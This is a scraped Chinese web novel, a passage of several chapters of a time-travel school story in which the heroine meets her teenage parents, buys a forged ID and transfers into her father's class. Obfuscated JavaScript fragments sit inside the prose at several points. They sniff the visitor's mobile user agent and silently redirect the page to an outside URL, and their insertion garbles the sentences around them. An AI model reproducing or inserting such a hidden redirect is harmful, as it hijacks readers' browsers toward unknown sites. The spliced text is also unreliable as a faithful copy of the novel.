叶明鑫二十年后和二十年前脸的变化不是很大，仿佛冻龄了一般，178的身高在南方也算高挑。 蓁妈那时候还调侃说，她就是看中了叶明鑫长得有点像她喜欢的一个港星。不说特别帅，但属于那种眉眼周正的长相，再加上他性格也好，会哄人，要不才不嫁给他。 也是因为这样，卓惜第一眼就认出来了。那天满眼满脑子都是孟沅卓焱没空分心看旁人，只粗略有一丝印象，这会儿才反应过来，原来叶爸和她爸这么早就是朋友。 不过旁边这人，她从没有在她爸身边见过。 她咽了下口水：“你…额，抱歉，刚刚是我激动了。” 叶明鑫立刻后退了几步，观察着她的神色，确认她暂时没有再发疯的征兆，才狠狠松了一口气。 同时又一言难尽。 这姑娘精神状态像是不太好，到处认爸，架势还怪吓人的。 卓惜努力压抑住情绪：“你找我有什么事？” 叶明鑫被她这么一提醒才反应过来，一时间也不知道该说啥了：“咳咳，也没什么，哦，我我我认错人了，拜拜！” 他一套丝滑小连招使出来，作势要溜，被卓惜眼疾手快抓住了衣角。 叶明鑫僵住不敢动，卓惜眨眨眼，两人大眼瞪小眼。 旁边方浩已经撤出了半米远，摇头晃脑四处张望，浑身写着“莫看我莫挨我”。 叶明鑫咬牙暗骂了他一句不仗义，只能赔笑：“我都说我认错人了，你还有事吗？” 卓惜认真点点头：“我有事想求你，现在可能也只有你能帮我了。” 见他一脸为难，她放软语气，可怜巴巴：“拜托拜托！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟沅小心翼翼睁开眼，看清他手中捏着的东西，知道是误会了他，想解释却涨红了脸：“我不是……”这个意思。 卓焱却没在意：“问你个事儿，那天，跟你一起那个，是你朋友？” 话题跳跃之快让她没反应过来，半晌才踟蹰点头：“嗯，朋友。” “哦。”卓焱没再追问，从她手中接过拖把，“你去关窗户，我来。” 孟沅手中一空，想说什么，又说不出口。静看着他的背影，小幅度歪了歪头，想不通。 她越过第一条的座位把内窗关掉，又绕去外面关外面的窗户。隔着两层窗户，她微微垂眸，声音细弱蚊嗡：“为什么？” 她最开始和他分到同一个班的时候害怕过，他高一跟外校人打架的事早已传遍全校。那时前后桌，她很惶恐，每天都努力压低蜷缩着，假装自己好像不存在。 后来察觉他没有恶意，也不凶，就不那么害怕了。 这次是以为他因为卓惜的事情来找麻烦，其实她之前也稍有准备，所以才以为他那动作是来…打她的。钱她也准备好了，但他没提，犹豫着怎么给他。 其实卓焱人不坏，人缘也公认的好。他有很多朋友，基本都是男生。 当然，他也不是不跟女生说话，就是私下不怎么跟女生走近。唯独找孟沅单独说过几次话，因此她还被写匿名信警告过。 她觉得写信的人想的其实有点多。 她根本不特殊。 7. 合作愉快 地址有些偏僻。 拐七拐八拐进条居民区楼巷，野猫被吓了一跳，提着嗓子“喵”地一声越上垃圾桶跳上了墙。 叶明鑫吓了一跳，看着他畏缩的动作卓惜偷偷瘪嘴。 以前卓惜光在桌上听他的光辉事迹，实则吹嘘居多，这时候的叶明鑫多少有点墨迹又胆小。 叶明鑫曾有次喝醉说过这事儿：“惜惜啊！我跟你说！你叶爸我小时候那比你可调皮多了，我高中那会儿外头开了家网吧，那时候查的也没有那么严，我和你爸就办了个假证老溜出去上网。” 惹来她蓁妈一巴掌：“说什么呢？别带坏惜惜，惜惜你别听他发酒疯，少跟他学。” 她以前很喜欢叶明鑫，他说的话很多她都记得一清二楚，可以说对他的了解比孟沅的还要多很多。 叶明鑫昨天不情不愿答应下来，就帮她来问了。 这个时候户口和身份证管理相对宽松，有些以前因为超生等问题而遗留的“黑户”，还有些人可能根本就没办过。 一代身份证有一部分是手写后塑封的，也就有人铤而走险私下做假的身份证赚钱。叶明鑫认识这人就是，基本是给那些未成年上网用的，偶尔会接些足以以假乱真的，说是保准警局的都认不出来。 那人的住所在一条极为偏僻的小巷子里，叶明鑫一路鬼鬼祟祟带她绕来，听她这样讲紧张又无语，连忙扯下口罩：“啧！都跟你说了低调点！小声点！别被人注意到了。” 卓惜瘪瘪嘴，也就是他她才一路没呛声，此刻忍不住讲：“拜托，有没有听过一句话叫此地无银三百两？好了别说了，怎么还没到？” “就快到了。”叶明鑫被她一噎，没好气地讲，“待会儿你别说话，我来说。” “哦。”卓惜干巴巴应了句。 叶明鑫带着她走到巷尾，进了楼。楼里采光极差，只有几缕从雕花墙间隙中透来，改善不了阴暗的环境，反倒照出空气中涌动的尘埃。 走在这儿，卓惜都不想呼吸了。 憋气憋了半天，终于到了。叶明鑫依旧做贼似的有节奏敲起门，待里面传来一声询问，他压低了声说：“昨晚约好今天过来领东西的。” 过了一会儿，门“咔哒”一声开了。叶明鑫熟练拉开半拉小缝，自己挤进去，又招呼卓惜进来。 整得跟特务接头似的。 卓惜在心中腹诽，默默将门拉开进去，叶明鑫紧张地赶紧去把门关好：“不用换鞋。” 卓惜皱了皱眉：“怎么不开灯。” 叶明鑫：“华哥不喜欢光。” 说着，那个叫华哥的人走了过来。昏暗的光线让人看不清他的模样，唯独指间一点猩红光晕明明灭灭，随意往旁边柜子上一扔：“你们要的东西。” 也亏得卓惜眼神不错，看清了他的模样。约摸三十出头，胡子拉碴，左脸从眼睛到嘴角横亘条疤痕，触目惊心。 大概是察觉到了她暗中打量，华哥弹了下烟灰，声音冷冰：“别看我，看证。行不行一句话，出了这个门概不再管。” 卓惜又不是这个年代的人，唯一一次见过一代身份证也是很小的时候，身份证刚迭代那会儿，根本记不清具体细节。 好在叶明鑫也没指望她能看明白，从柜子上摸来，凑近仔细看：“我这妹妹以前过的不好，刚从村里跑出来，跨了大半个省才找到我。要没这身份证，还真不知道怎么在这儿立足，这身份证做的真精细，谢了啊哥！” 卓惜默默听他瞎编。 不过有点倒没说错，不仅跨了半个省，还跨了个时空呢。 叶明鑫先前跟他谈好了，这张身份证五百，这钱叶明鑫先给她垫了，过段时间她再还。 好在卓惜今天又投了两篇稿子出去，各家审稿速度不一，却也不会太长。她记下这份人情，承诺以后有什么忙能帮她一定帮。 叶明鑫摆手：“这倒不用，就是有个事儿我得跟你说道说道。你好像对我三火哥很有意见啊？你跟他熟吗？你俩都姓卓，难不成是本家？” 卓惜沉默半天，只说：“这你就别问了，以后自然会知道的。” 这话说的，叶明鑫更加好奇。 偏偏卓惜不肯回答了。 - ∞ - 有了身份证，目前最重要的黑户问题就解决了大半，她忐忑着拿着身份证和取款单再次去了银行，这次成功取到了钱。 出了门，卓惜狠狠松了一口气。 第一次做这种事，莫名有种犯罪的诡异。嗯…如果是后世的话，这个问题确实很严重，但谁叫她是个一穷二白的穿越人士，只能暂且放下道德素质。 拿到这笔钱，她想了想，还得有个规划。 以前没有这个概念，是因为以前手里根本就不缺钱，但现在不一样。她要攒到还叶明鑫的五百，也要给孟沅住宿费，如果经济渐渐宽裕起来了，就再买点好吃的回来。 孟沅平常吃的也很素，倒不是真穷到肉也吃不起，只是她向来节俭，而且得从现在开始攒大学的学费。 高中毕业以后，她母亲就不会再管她。 因着卓惜的补习，孟沅现在进步神速，明明一周前英语口语还带着口音，现在已经彻底拗掉了这个习惯。在词汇量和阅读理解上也有了明显的提高，最显著的就是卓惜买回来的两本英文杂志，孟沅半蒙半猜也可以看懂一小部分了。 见她进步这么大，卓惜也有一种与有荣焉的感觉，又扣扣搜搜掰着手指头省出了两本书钱，买了《格列佛游记》和《老人与海》这两本很经典的名著。 《老人与海》她很小的时候孟沅给她买过翻译版，她那时候就很喜欢，后来还自己买了英文原版细细品读。 那句“But man is not made for defeat”是她转变心态的启蒙和这些年的动力，每次觉得疲惫了就想想这句话，好像总能精神百倍。 人当然不是为失败而生的。所以她要努力，要成功，要所有嘲笑看不起她的人被她遥遥甩在身后，只配仰望她。 补着补着总是忘了时间，孟沅再次从题海中抬起头，已经又是十点钟了。再熬一天后天就是周末，就能休息。 她放下笔，做了一套眼保健操，顺便揉了揉后颈，活动了下肩膀。当然，累都是小事，最重要的还是她自己也能明显察觉到进步，欣喜间也有动力去学。 想到这，她对卓惜半是感激半是惋惜。停下动作，忍不住叫她：“卓惜。” 卓惜正在想着怎么解决上学的问题，之前有了点头绪，但她还得再想想，这一步有点冒险。孟沅叫了好几遍，她才反应过来抬头：“怎么了？” 孟沅犹豫了会儿，还是问她：“你成绩这么好，真的就要不读书了吗？” 这样也太可惜了。 不夸张的讲，如果卓惜在他们学校的话，估计能稳居年级第一了。那大概都没有徐家两姐弟什么事儿了。 所以，这几天，孟沅也一直很纠结这个问题。卓惜对她很好，远远超过了除她外婆以外的所有人，好到她已经在短短时间内真心把她当成朋友，不免为她担忧前途。 这样的成绩明明放到哪里都可以考一个好的大学，未来肯定一片坦途。只是因为暂时毫无踪影的妈妈，就放弃学业只身来到这里，说任性也不为过。 而孟沅其实有点想说，不是所有的母亲都会爱自己的小孩，如果费尽力气舍弃一切找到的母亲最后并不想认自己，卓惜一定会被打击的。 那样，她就真的一无所有了。 可是这样的话，也不适合说给卓惜听。 孟沅纠结了这么久，还是没提这话，只心里记着。 了解父母可能没有那么爱自己，就是她成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981495|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的第一课。 她很痛，不忍心卓惜和她一样。 — ○> — “卓惜，你不要仗着你是她朋友，就以为我真不会对你怎么着。” 卓焱猝不及防在家门口看到不速之客，瞬间皱起了眉，没个好脸色：“最后警告你一次，我脾气没你想那么好。” 卓惜懒得搭理他：“边儿去，谁说我是来找你的？” “你来我家不找我找谁？”卓焱冷笑了声，“难不成找我爸来说你是他失散多年的私生女？” 卓惜抬眼，这人嘴还真刺。 她不得不承认，她之所以这么嘴毒，可能也有一部分是遗传卓焱。 也不遑多让，朝他冷笑了声：“你戏挺多，没事干建议找个地方凉快去。我来找你妈，约好了的。” 卓焱：“？” “你就装……” 话还没说完，里面那道门打开，穿着白色西装的女人语气干练：“还真来了，进来吧。” 卓惜不再给他分关注，越过他推开门进去，笑了笑：“阿姨，很感谢您愿意给我这个时间。” 沈光华看着她怀中抱着的那沓白纸，想到昨天她拦车的场景，忍不住勾唇：“比起虚头巴脑的感谢，我更好奇你的底气。” 想方设法拦她求合作的人很多，却没有一个人拥有眼前小姑娘的自信，才这么大点的年纪，就敢大言不惭地说：“如果给我个机会，我可以让卓越光华再上一个台阶。” 那眼神，明亮又坚定，带着无边自信。 卓惜也不跟她来那些虚的，把这几天赶出来的手稿递给她：“这些，就是我的底气。” 卓惜从小喜欢画画，也学过好多年，后来想专心学习走文化生，就没有再学。她小时候尤其喜欢画“梦想中的家”这个主题，构想过成千上万种模样。 她看似没有金手指，可从未来穿越到过去，这个时间差就是最大的金手指。 不出所料，沈光华确实对她拿出的东西极为感兴趣，这小姑娘也没愧对她的期待，审美很超前。 她随意跟她聊着，不拘固定某个细节，而是聊兴趣聊想法聊设计，越聊她嘴角的弧度就越高。 卓惜很有想法，问什么都能侃侃而谈。而且她的设计也很新颖，都是目前国内外市面上从没有出现过的样式。 尤其是她提出的将人体工程学概念引用到家具设计中，以不同弧度和承托改善久坐不适，更好的保护腰颈这部分，让沈光华很感兴趣。 同时也看见了家具市场仍尚未开发的空白，这女孩确实很有前瞻性，让她一下子打开了思路。 卓越光华一直在思考如何有新的形式来突破，这就是一个非常好的契机。 末了，沈光华眼里已经全是欣赏：“卓越光华愿意买断你这些设计，包括未来也可以继续合作，你可以开个价。” 卓惜摇摇头：“这些设计可以无偿送给你们，我只想求您一件事。” 沈光华一顿，旋即玩味挑眉：“什么事，说来听听。” 卓惜：“我希望您能想办法让我转进一中读书，哪怕是借读也可以。” 沈光华本以为她是要开更大的条件，没想到是要读书，敛去表情：“你年纪不大，怎么没读书了？” 卓惜简略跟她说了一下情况。沈光华不像孟沅叶明鑫这样年纪小好糊弄，因此跟她说情况时基本八分真两分假，说到后面还有些心酸委屈，以达到以假乱真的地步。 气氛静默半晌，她也不急。 片刻后，沈光华伸手摸了摸她的头，在她略显诧异看过来的时候，朝她温和笑笑：“这么聪明的孩子，确实不应该被这些糟烂事耽误。” “转学的事放心交给我，合作愉快。” 卓惜眨了眨眼，深吸了口气握上她伸出来的手，也说： “合作愉快。” 8. 新转学生 沈光华不愧如传闻中那样雷厉风行干脆利落，不过五天时间，她就给卓惜带来了好消息。 “这部分是你的设计稿费，这是你的借读手续和你的新身份证，明天就可以到学校报道。”沈光华把一个牛皮纸封和张纸质证明以及她的身份证亲手交给她。 假的终究是假的，万一被揭穿也很麻烦，既然卓家有这个手段，卓惜当然也趁机提出了身份证的问题。 那会儿沈光华对她又有了新认知：这小姑娘不仅很有想法，还挺大胆。 沈光华直接付的买断价格，稿费一共一万。除此之外还有她这一年的学费以及一笔足够她吃穿的生活费，加起来也有三千五，全部都算在这次版权费里面。 这笔钱足以让卓惜在高三这一年里吃喝不愁。 卓惜宠辱不惊地收起了钱，这次比之前任何一次都要诚心：“谢谢阿姨。” 沈光华失笑摇摇头：“不用谢我，都说了我们是合作关系。而且我也没帮上你什么忙，你的借读手续流程走那么快是教育部门那边有人开了绿灯。” 沈光华本来已经做好打点人情的准备，结果关系刚搭上线，就从那边听说卓惜的借读手续已经在走流程了。 她也还挺惊讶的。 卓惜茫然：“啊？” 沈光华也不太清楚，只说教育部门那边有人帮她通了关系，卓惜想来想去也想不到谁能帮她，难不成是天意？金手指降临？ 算了不管了。 总之现在真身份证有了，借读也办上了，她终于可以名正言顺的在新月的第一天，光明正大的陪孟沅上学！ 为此卓惜兴奋地拉着孟沅去逛了一趟商场，买了不少东西，孟沅被她这疯狂买单的行为吓到，不断劝阻。 可卓惜买嗨上头，根本听不进去：“哎呀没事啦！我现在可有钱了，你尽管放心！再不济还有稿费呢，饿不死的，诶这件裙子怎么样你喜欢吗？” 他们学校只有周一大会硬性要求需要穿全套校服，平常都可以只穿个校服外套，不过这时候的服装款式设计在卓惜看来多少有点老气。 挑来挑去，按自己审美挑了一些，又在被孟沅拒绝了几次之后强行给她买了几件。喊孟沅把衣服试给她看一下，孟沅拗不过她，被她推进更衣的小隔间里，按她给的搭配来换。 孟沅很适合走极简主义，越素越能突出她的美，因此卓惜都没挑那些花里胡哨的，尽量选择的是纯色搭配，只另外挑了几样饰品。 其中卓惜最喜欢的就是一套白色毛衣打底，浅灰棕羊绒半裙，外搭件米色针织衫的搭配。这个季节穿刚刚好，衬得孟沅温柔又娴静。 卓惜思考了一下，让她等等，拐去另一家鞋店给孟沅买了一双白色小皮鞋和灰棕色小腿靴。回来的时候孟沅都已经把衣服换下来了，正跟店员两人大眼瞪小眼。 卓惜见状直接喊人包下来，再让她试鞋，不容拒绝：“都跟你说了不用替我省，也别客气，我的就是你的！我在你家住这么久你都没说什么，给你买两件衣服怎么了？” 她一顿叭叭，绕得孟沅根本来不及思考，一脸回不过神地被她拉着起来走两步，转个圈。确定没问题，卓惜才满意点头。 今天这个奇迹沅沅也是给她玩上了。 两人下商场，角落里有几片厚厚的帘子，有人进进出出。卓惜好奇扒望两眼，里面是打电玩的地方，瞬间没了兴趣，收回视线时却看见孟沅有些僵硬的模样：“你怎么了？” 孟沅恍然回神，摇摇头：“没怎么。” 卓惜也没多想：“哦，那咱们走吧！回家喽！满载而归~” 孟沅扯扯嘴角，低下头跟着她，和进超市的一家人擦肩而过。 “秀珍？秀珍？发什么愣呢？” “啊？”女人收回思绪，手里牵着的小男孩闹个不停，想要买新的小玩具。男人觉得吵，喊她管管。 陈秀珍抱起儿子，勒令他不准吵闹，又立马哄他答应买新的玩具。儿子这才不哭不闹，安静窝在她怀里，四五岁的孩子抱起来已有些吃力，她时不时还得往上掂掂才能保证不滑下去。 陈秀珍想让他帮忙抱抱孩子，但看着男人又接起了电话，还是默默把话咽回了肚子里。 想到什么蹙起眉回头看了眼身后大门。 那道身影早不见了。 - ∞ - “咱们班要新来一转学生的事儿你们知不知道啊？” “我靠真的假的？都高三了才转学，真不怕耽误学习啊？” “我只好奇男的女的，不过这时候能转学过来，家境肯定也不一般。” “诶诶都别吵吵了！老刘来了！” 坐在后排门口的人压着嗓子嚷了一声，全班瞬间回到原位安静下来，又够长了脖子想第一时间窥见转学生真容。 一片圆润隆起的肚子进入视线，肚子的主人脚步顿了顿，才从善如流走上讲台：“都看什么呢？书都背完了吗？再过两天就期中考了，都好好复习了没有？” 台下稀稀拉拉附和着。 刘有才无奈叹息，又捏着树枝充当教棍抽抽讲台：“安静安静！今天我们班来了一位转学生，以后大家就是同学，记得对新同学多关照一点，让她早点融入我们高三一班这个大集体。” 同学们随着刘有才一起看向门口，卓惜就这么大大咧咧走了进来，落落大方上台做了个不到十秒的自我介绍：“我是卓惜，今天的转校生。” 刘有才都没反应过来：“没…没了？” 卓惜点头。 她不喜欢那些冗长的介绍，那些花里胡哨的前缀也没有任何意义。 她也不乐意跟人说这个。 刘有才汗颜，心道只怕又来了个小祖宗。没办法，只能给她指了座位：“你就暂时坐那儿吧，每月我们都会换一次座位，到时候可以再调整。” 卓惜顺着他指的方向看向唯一一个空出来的位置，桌上大剌剌摊着一桌子书卷。旁边占了两张桌那人正百无聊赖撑着脸，和她对上视线，瞬间隐隐开始较劲。 她正要开口，那人先举起了手反对：“老师，我觉得不太行。” 刘有才狠狠瞪他一眼：“卓焱，把手放下！新同学第一天来咱们班，应该团结友爱互帮互助，你看看你这样像什么话？” 卓焱手是收起来了，嘴上却仍没揭过：“那您也稍微征求下新同学意见不是？我这乱惯了，她也未必乐意和我坐。” “你还好意思说！还不赶紧把桌子收拾出来，一会儿不盯着你这桌子就乱成狗窝！”刘有才真是没好气，这卓焱就总能出巧挑着他最忙的时候给他找事。 想到他性格，刘有才突然也确实有点担心这姑娘坐旁边会受他影响，遂询问起卓惜意见。 本来么，卓惜确实很抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在来找陈秀珍之前，孟沅已经做过无数次心理建设，她甚至在此前还问过班主任关于转校和借读的规章制度。见到陈秀珍以前，也在心中打了数遍腹稿，这才敢迈出了这一步。 直到孟沅无限难堪别扭，面前的陈秀珍才开了口：“像你说的这种情况，一般需要家长带上学生先去当地派出所开具户籍证明，还要带上过往的成绩单。转过来这边也需要有稳定的住所，不然没有居住资格也很麻烦。” 她的口吻让孟沅一时间拿捏不准她到底愿不愿意帮忙。 迟疑了一会儿，孟沅还是粗略跟她讲了点情况，话里仔细表达出这个转学手续对她和卓惜来说都非常重要。 再次静默半晌，陈秀珍忽然抬眼看她：“这还是你第一次主动找我，这女孩是你的朋友？” 孟沅基本上都不会主动联系，这方面她一直做的很好，若不是每半年都会给一些钱，她可能早就忘了还有这么个女儿存在了。 所以这次孟沅忽然找过来，她很诧异，得知是为了别人的事情，就更诧异了。 孟沅垂眸，语气中夹杂了丝情绪，就连她自己也忽略了，只认真点点头： “她是我的朋友，很好很好的朋友。” 9. 太魔幻了 刘有才安排好卓惜的位置，让他们老实早读，就先离开了。 早读向来是由班长代领，一班的班长尤佳婧梳着很考验颜值的贴头皮大光明，露出光洁饱满的额头，生扛住了这死亡造型。 她显然领读了很多次，开口时声音足以让全班都听得一清二楚，情绪也饱满：“君子曰，学不可以已。青取之于蓝，而青于蓝……” 下面人也习惯性配合，默契还是有的，整齐划一的朗读起来。 卓惜立着书没看，在下面混着附和，一边看熟悉的那几个人分别坐在哪儿。 她和卓焱同桌，叶明鑫坐她正前面。那天和叶明鑫在一起的那个坐在另一组正旁边，一个很方便跟叶明鑫说话的位置。 孟沅则是坐在第二组中排，也不知道这个班具体怎么换的位置，搞得她都没法和孟沅说上话。 下次看看能不能让刘有才给她们俩调到一起。 反正卓惜对自己的成绩还是很有自信的，如果空降全班第一惊艳所有人，换个位置这种小要求也不过分吧？ 而且她这还是为了带领孟沅进步，有理有据！ 她就这么东想西想做安排打算，混完了一整个早自习，隐隐有点后悔坐这，卓焱太烦了。 他倒不是跟她针锋相对，两人的桌子在她收拾好那刻就拉开，中间留了一条缝，幼稚的充当“三八线”。只是看着井水不犯河水，实际卓焱做什么还是难免骚扰到她。 他像是有多动症似的不安分，一会儿在手里转书，一会儿把圆珠笔按得咔咔响，俨然一副差生无可救药的做派。 卓惜被烦得频频瞪他，心里忍不住把他现在的模样和二十年后对比。 说实在的，要不是这么多细节都对上他是她爸这个事实，她还真不敢认。 他到底是怎么从这么顽劣的模样变成未来那个三棍子打不出一个闷屁的窝囊废模样？ 岁月和意外确实挺能蹉跎人。 卓惜想到这，又觉得心情有点复杂，干脆不想。 她是来拆散他们的，可不是来同情他的。就算他未来的凄惨是事实，可他愧对这个家也是事实，她不要因为一时的同情而重蹈覆辙。 卓惜跟读累了，喝了口水，冷水顺着喉咙滑下去，也压住了心头那点细微的情绪。 早自习结束，班上瞬间解禁热闹起来，叶明鑫第一个转了过来，打趣她：“哦呦，心想事成了哈？” 说起这个，卓惜还确实要谢谢他，从包里拿出准备好的钱递给他：“之前那个事儿谢谢你了，这是你帮我垫的钱，还有感谢费。” 她给了六百，其中一百作为他的帮忙费。在这个年代不算太少，也不会让人有压力不敢收。 她摸了七百二，顿了顿，扯着嘴角把另外那一百二拍旁边桌子上，也不看他：“还有你的一百，还你。二十就当这段时间的利息了。” 一码归一码，她不喜欢欠人情。 卓焱“啧”了声，也没说什么，把钱收下。 见他都收了，叶明鑫自然也不客气，刚想说什么，隔老远一道略显娇蛮不耐的女声响起，径直呼他大名：“叶明鑫！英语作业又就你还没交，你能不能每天自觉点别让我反复催？” 说着，那女生逐渐靠近，卓惜被吸引注意也跟着看过去。 不看还好，一看再次愣住。 女生穿件卡其色外套，一条同色系混色格子裙，头上还戴了个宽边发箍，在这个时候可以说是非常时尚且有区别于当下潮流的穿搭了。 整个人的气质也是高傲的，和声音带给人的第一印象一样，双手环胸气势汹汹的就来了，扬着下巴满脸不耐烦：“作业呢作业呢作业呢？！” “这里，催什么啊，赶着投胎啊！”叶明鑫同样不爽，把早上偷偷紧赶慢赶抄完的作业塞进她怀里，忍不住吐槽，“梁美蓁你能不能别一天天针对我？我不要面子的？” 梁美蓁收了作业，冷笑一声：“谁针对你？每次差你一个耽误我交作业，我的时间不是时间？” 她扭头就走，也不给叶明鑫再跟她对峙的机会。叶明鑫狠咂了咂嘴，偷偷呸了一声：“就一英语课代表成天给你牛的，天天叽叽歪歪！” 卓惜神色复杂地看梁美蓁离去的背影，心里忍不住腹诽：眼前这个只会斜眼看人，嘴撅得比天高的娇气女生，真是她那热情开朗落落大方的蓁姨？ 还有，她和叶爸现在如此不对付，未来是怎么忽然看对眼，还那么恩爱的？ 魔幻。 这个世界太魔幻了。 - ∞ - 一上午的课程很紧，课余时间不多，十分钟有一半几乎都用在了拖堂上。关键都是在强调一些纪律成绩这样的问题，老师说的累死，学生不痛不痒，可以说是毫无效率。 一直到中午吃饭，卓惜才逮到合适的机会跟孟沅一起。 这时候学生大多吃食堂，食堂也物美价廉，不像后世难吃还量少。 她本来不知道吃什么，打算跟着孟沅吃，结果排了半天队才发现孟沅排到这个窗口居然只点了个婆婆菜炒鸡蛋和两个馒头。 卓惜瞪大眼睛：“你别告诉我你每天就吃这个？” 她那天拿到钱第一时间就是给了孟沅五百先做一周食宿费，不够她再添，推了半天才说服孟沅收下。她以为有了这个钱孟沅多少能舍得吃点好的了，怎么还在吃这些？ 孟沅不明所以：“啊，我一直都这样吃呀？” 卓惜都不知道说什么好了，后面人在催，她甩了个白眼过去。顺便把孟沅盘子一起拿过来，加快速度大手一挥点了好几个菜，把刚换没多久的热乎饭票一起递过去。 孟沅几乎是空盘子递过去，再回到她手上时就是满盘子，有菜有肉有饭，她默默抿唇。实在是吃不完啊…… 卓惜拉着她找到空位，吃了两口，味道挺不错的，放心下嘴。吃了一会儿，发现对面孟沅吃饭也是温吞秀气，那一盘饭菜跟泡面里的牛肉冻干似的，也就受了点皮毛伤。 她看着她吃了一会儿，也跟着放慢了速度，干脆和她聊天：“你以后别再这样了，给你钱你就放心吃，也不用担心学费，实在不行不还有我呢吗？” 孟沅听她这番话，傻眼又有点不好意思，想了想解释：“不是不吃，真的吃不完这么多……” 卓惜恨铁不成钢：“看看你这小身板，不多吃点怎么能行？健康平安是第一位知道吗！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981497|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孟沅咬着筷子有点无措：“是不是有点…太夸张了？” 卓惜：“no，一点不夸张。不行以后咱去报个跆拳道班什么的，争取把体质练好点。” 最重要的是有防身能力，这样也不至于碰到危险就僵在原地不敢动了。 以前就是孟沅怕她挨欺负送她去学过几年跆拳道，后来因为老被老师说惹事，孟沅说什么也不肯让她再学。 卓惜一直记得那天孟沅怯懦蜷缩在角落的模样，每次想到她都想把那些堵她的人揪出来打一顿。以暴制暴有时候是种好手段，就是现在她转来了，可能就不能那么光明正大。 对，这事儿也得记着，就算不主动找事也得防着点那几个人找上门来。 她想着，又仔细问了问孟沅这段时间有没有在学校碰到那几个人，或者被找麻烦，得到没有的答案才暂且放心。 等吃完饭，两人一起去归还餐盘。 不远处，几个女生簇拥在一起，窃窃私语。 其中一个指了指餐具归还处：“诶！丽姐，你看那边那两个，是不是前些天巷子里那俩？” 李丽眯了眯眼，嘴里叼着的牙签尖被咬烂，她侧脸随口呸掉。这段时间她爸妈嫌她花钱多克扣她生活费，她都一周多没怎么抽烟了，都顺的别人的。 想到那天差点得手又被那死丫头坏事，心情瞬间变差，偏头随便点了个人：“你，跟上去，看看那俩丫头叫什么哪个班的。” 被点的人很快点头小跑跟了过去。 其中一个小跟班记性不错，狗腿到：“丽姐，左边那个我记得，一班的，叫孟沅！” 一班，孟沅。 李丽在心里记住这个名字。 还有那个丫头，又碰到她们俩，这次可没那么轻易放过她们了。 谁叫她最近心情不好，总得有个地儿发泄。 — ○> — 不过一天时间，卓惜就已经搞清楚了这个班的大概结构。 班长尤佳婧，成绩排年级前五，班上万年老二。人私下有点傲但性格不坏，妈妈是老师，在带高一。 语文课代表李彤，是个长得挺讨喜的女生，和孟沅一样内敛秀气。语文成绩也是班里最好的那批，就是偏科明显，英语很一般。 数学课代表冯郴很符合大部分学生的刻板印象：理平头戴黑框眼镜，重度近视，沉默寡言不爱说话。但是数学成绩特别好，在年级也是数一数二的。 英语课代表就是她蓁妈了，班上性格公认最娇气的公主。作，下巴看人，没什么礼貌，爱拿着鸡毛当令箭。大部分人都不喜欢她，又没她英语成绩好，有什么学习问题还是不得不捏着鼻子问她。 她一边嘲讽一边教。 还有一个学委，叫徐耀和。鹤立鸡群的帅，完美甩开大部分同龄人。 如果说卓焱是那种带点美型精致的帅，那徐耀和就给人一种禁欲高智感，五官深邃棱角分明。就是同样闷，不太爱说话理人，家里条件好像也非常不错。老家还挺巧，也是临阳那边的。 卓惜默默在心里念了几遍他的名字，又忍不住蹙了下眉纠结。 她觉得他的名字有点耳熟，又想不起来具体是在哪里听过。 10. 期中考试 因为正好到了期中时间，和十一月的月初考试撞到一起，原有的月初考就取消了。 期末考两天不上课，考试前一天几个班委与老师随机点的几个同学，被留下来布置考场贴姓名条，里面就有孟沅卓焱叶明鑫几人。 本来卓惜也想留下来的，但中午去邮局的时候收到了一封信，她下午回了这会儿准备寄出去。 信是一家出版社写来的，信上说他们的主编对她写的那篇《地球漫游指南》很感兴趣，觉得她很适合写这种幽默诙谐充满想象趣味的文。问她有没有想法在他们的《青春奇想馆》上刊登连载长文。 卓惜现在对写作的经验也逐渐丰富，信上说的那篇她写了三万字，他们也很大方开出了千字八十的价格。这篇她赚了两千四，已经是目前她赚的最多的一篇，算是没有愧对她的心血。 《青春奇想馆》就是他们出版社目前主要出版的几种杂志之一，很适合她的风格。但卓惜仔细思考过，她其实仍旧没有做好写长文的准备，没有经验，也好像没有这个投入的必要，所以这次回信是拒绝的。 不过她倒是从写作中找到了乐趣，也没把话说的太死，只说现在的精力和经验都不足以支撑她连载。那边反正知道她的年纪，她就留了个铺垫，说大学以后再考虑正式的连载。 至于过两年还在不在这，那谁知道？她本来就不是这个时代的人，所以她更要看重当下。 而这边。 叶明鑫因为被留怨声载道，手里按照顺序给桌子角贴上姓名条，嘴里还在嘟囔着：“真服了老刘了，点谁不好非点我。” 